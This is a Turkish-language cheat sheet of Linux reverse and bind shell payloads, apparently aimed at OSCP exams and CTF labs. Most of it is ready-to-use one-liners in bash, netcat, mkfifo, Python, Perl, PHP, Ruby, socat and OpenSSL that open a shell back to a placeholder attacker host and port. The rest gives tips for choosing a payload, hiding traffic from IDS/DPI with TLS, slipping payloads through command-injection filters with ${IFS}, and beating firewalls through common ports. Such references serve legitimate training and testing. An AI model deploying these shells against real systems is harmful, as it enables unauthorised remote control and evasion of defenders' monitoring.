Linux Reverse & Bind Shell Cephaneliği
RCE elde edilen bir Linux hedeften, mevcut yorumlayıcılara (bash, python, perl, php, ruby) ve netcat/socat/openssl gibi araçlara göre seçilebilecek reverse ve bind shell payload arsenali. Tüm payloadlar {{LHOST}} {{LPORT}} kullanır.
- Hedefte komut çalıştırma imkanı (RCE / cmd injection / web shell / authenticated service)
- {{LHOST}} dinleyicisi açık (nc/ncat/socat/pwncat)
Komutlar
nc -lvnp {{LPORT}} rlwrap nc -lvnp {{LPORT}} bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1 bash -c 'bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1' 0<&196;exec 196<>/dev/tcp/{{LHOST}}/{{LPORT}}; sh <&196 >&196 2>&196 nc {{LHOST}} {{LPORT}} -e /bin/bash ncat {{LHOST}} {{LPORT}} -e /bin/bash rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc {{LHOST}} {{LPORT}} > /tmp/f ncat --ssl {{LHOST}} {{LPORT}} -e /bin/bash python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{{LHOST}}",{{LPORT}}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/bash")' python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{{LHOST}}",{{LPORT}}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty;pty.spawn("/bin/bash")' perl -e 'use Socket;$i="{{LHOST}}";$p={{LPORT}};socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' php -r '$sock=fsockopen("{{LHOST}}",{{LPORT}});exec("/bin/sh -i <&3 >&3 2>&3");' ruby -rsocket -e'f=TCPSocket.open("{{LHOST}}",{{LPORT}}).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' socat TCP:{{LHOST}}:{{LPORT}} EXEC:'/bin/bash',pty,stderr,setsid,sigint,sane socat file:`tty`,raw,echo=0 TCP-LISTEN:{{LPORT}} socat OPENSSL:{{LHOST}}:{{LPORT}},verify=0 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect {{LHOST}}:{{LPORT}} > /tmp/s; rm /tmp/s openssl s_server -quiet -key key.pem -cert cert.pem -port {{LPORT}} nc -lvnp {{LPORT}} -e /bin/bash rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lvnp {{LPORT}} > /tmp/f Genel Mantık
Reverse shell, hedefin bizim dinleyicimize ({{LHOST}}:{{LPORT}}) bağlanması; bind shell ise hedefin bir port açıp bizim bağlanmamızı beklemesidir. NAT veya outbound firewall reverse shell’i engelliyorsa bind shell, inbound firewall bind’i engelliyorsa reverse shell tercih edilir. OSCP sınavında bu payloadlar tamamen el ile çalıştırıldığından safe kapsamdadır.
Payload Seçim Stratejisi
Hedefte hangi yorumlayıcının olduğunu önce tespit et: which bash python python3 perl php ruby socat nc ncat openssl. Sırayla deneme önerisi:
- bash
/dev/tcp: En hızlı, ek araç gerektirmez. Ancak/bin/shsymlink’idash’e gidiyorsa çalışmaz; mutlakabash -c '...'ile bash’i zorla çağır. - mkfifo + nc:
-ebayrağı olmayan modern netcat (GNU/BusyBox) için en taşınabilir yöntem.-eçoğu Kali dışı sistemde derlenmemiştir. - python3 pty.spawn: Doğrudan yarı-interaktif shell verir, stabilizasyon adımını kısaltır.
- socat full-TTY: İki uçta socat varsa job control + clear çalışan tam TTY; stabilizasyona hiç gerek kalmaz.
Şifreli Shell (DPI/IDS Kaçınımı)
Lab/CTF ağlarında düz metin shell trafiği yakalanabilir. ncat --ssl, socat OPENSSL, veya openssl s_client/s_server ile TLS tüneli kur. Önce sertifika üret: openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 1 -nodes. socat için cert=server.pem tek dosyada key+cert birleştirilmiş haldedir (cat key.pem cert.pem > server.pem).
Sık Karşılaşılan Tuzaklar
- Tek tırnak/çift tırnak: Web cmd injection içinde payload’u URL-encode etmen ve dıştaki tırnakları kaçırman gerekebilir;
${IFS}ile boşluk bypass’ı işe yarayabilir. pythonvspython3: Python2 kaldırılmış olabilir; her zamanpython3varyantını da hazırda tut.- Listener portu: 443/53/80 gibi yaygın outbound portlar firewall’ı geçme ihtimali en yüksek olanlardır;
{{LPORT}}olarak bunları dene. - Bind shell çoklu IP: Hedef birden fazla arayüze sahipse bağlanırken doğru
{{RHOST}}adresini kullan.
Sonraki Adım
Kaba shell yakalandıktan sonra TTY stabilizasyonu (python pty + stty raw -echo) için shell-upgrade tekniğine geç; tab-completion, Ctrl-C ve metin editörleri ancak o zaman güvenle çalışır.